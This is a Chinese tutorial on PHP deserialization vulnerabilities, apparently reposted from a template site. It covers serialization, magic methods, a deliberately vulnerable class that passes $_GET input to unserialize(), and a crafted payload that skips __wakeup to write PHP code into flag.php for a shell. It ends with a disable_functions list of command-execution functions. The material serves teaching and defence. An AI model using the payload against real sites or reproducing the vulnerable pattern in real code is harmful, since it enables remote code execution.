反序列化漏洞
0x01. 序列化和反序列化是什么
序列化:变量转换为可保存或传输的字符串的过程;
反序列化:把序列化的字符串再转化成原来的变量使用
作用:可轻松地存储和传输数据,使程序更具维护性
0x02. 为什么会有序列化
序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构
0x03. 序列化和反序列化代码示例
<?php
class User
{
public $username = 'admin';
public $password = '123456';
}
// 序列化操作
$user = new User();
$str_ser = serialize($user);
echo "序列化结果为:\n";
var_dump($str_ser);
echo "反序列化结果为:\n";
// 反序列化操作
$str_uns = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}';
$str = unserialize($str_uns);
var_dump($str);
?>
运行结果:
序列化后的格式如下:
0x04. 魔术方法
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)
1.__construct,__destruct
__constuct构建对象的时被调用;
__destruct明确销毁对象或脚本结束时被调用;
2.__get,__set
__set当给不可访问或不存在属性赋值时被调用
__get读取不可访问或不存在属性时被调用
3.__isset,__unset
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
__unset对不可访问或不存在的属性进行unset时被调用
4.__sleep,__wakeup
__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作
0x05. 反序列化漏洞成因
当传给 unserialize() 的参数可控时,那么就可以注入精心构造的payload,而当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成恶意命令执行!
0x06. 反序列化漏洞举例
(1)测试代码如下:
<?php
header("Content-Type:text/html;charset=utf-8");
class vFREE{
public $name='vFREE';
public $age='18';
function __wakeup(){
$this->age = "18";
echo("执行了wakeup魔术方法<br>");
}
function __destruct(){
echo("执行了destruct魔术方法");
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$flag = $_GET['flag'];
$unser = unserialize($flag);
?>
解释:类外部用到了反序列化函数unserialize,但用到这个函数时,就会像检查类vFREE中有没有__wakeup方法,有的话就执行,没有就跳过,很明显,代码中有wakeup,但是wakeup的内容就是一个赋值操作,并起不了太大的作用,反而destruct中可以利用一波,因为destruct中打开一个flag.php的文件,然后将$this->name的值作为内容写入到flag.php中,假如我们写入一个木马,便可以Getshell
(2)我们要传入一个参数flag,并且将传入的值放入反序列化函数中执行,所以我们要传入的应该是一个序列化后的字符串,此时我们应该类vFREE进行序列化,代码如下:
<?php
class vFREE{
public $name='vFREE';
public $age='18';
function __wakeup(){
$this->age = "18";
}
function __destruct(){
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$test = new vFREE();
$str = serialize($test);
var_dump($str);
?>
得到序列化后的结果:O:5:"vFREE":2:{s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";}
(3)绕过wakeup方法:
绕过wakeup方法,直接执行destruct写入shell:
更改原有属性值达到绕过过wakeup的效果,此时的类中属性值是2,我们只要将属性值改为大于2,即可绕过,如下改成5,便可以绕过:
O:5:"vFREE":5:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}
(4)传入恶意payload,成功创建flag.php
(5)查看生成的flag.php,利用成功
文章来源:https://www.toymoban.com/news/detail-459660.html
0x07. 反序列化漏洞预防文章来源地址https://www.toymoban.com/news/detail-459660.html
(1)安全配置好php相关参数
通过Php配置文件里面有个disable_functions = 配置
这个禁止某些php函数,服务器便是用这个来禁止php的执行命令函数
#禁止这些函数来执行系统命令
例:disable_functions =system,passthru,shell_exec,exec,popen
(2)严格控制传入变量,严谨使用魔法函数
到了这里,关于反序列化漏洞(PHP)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!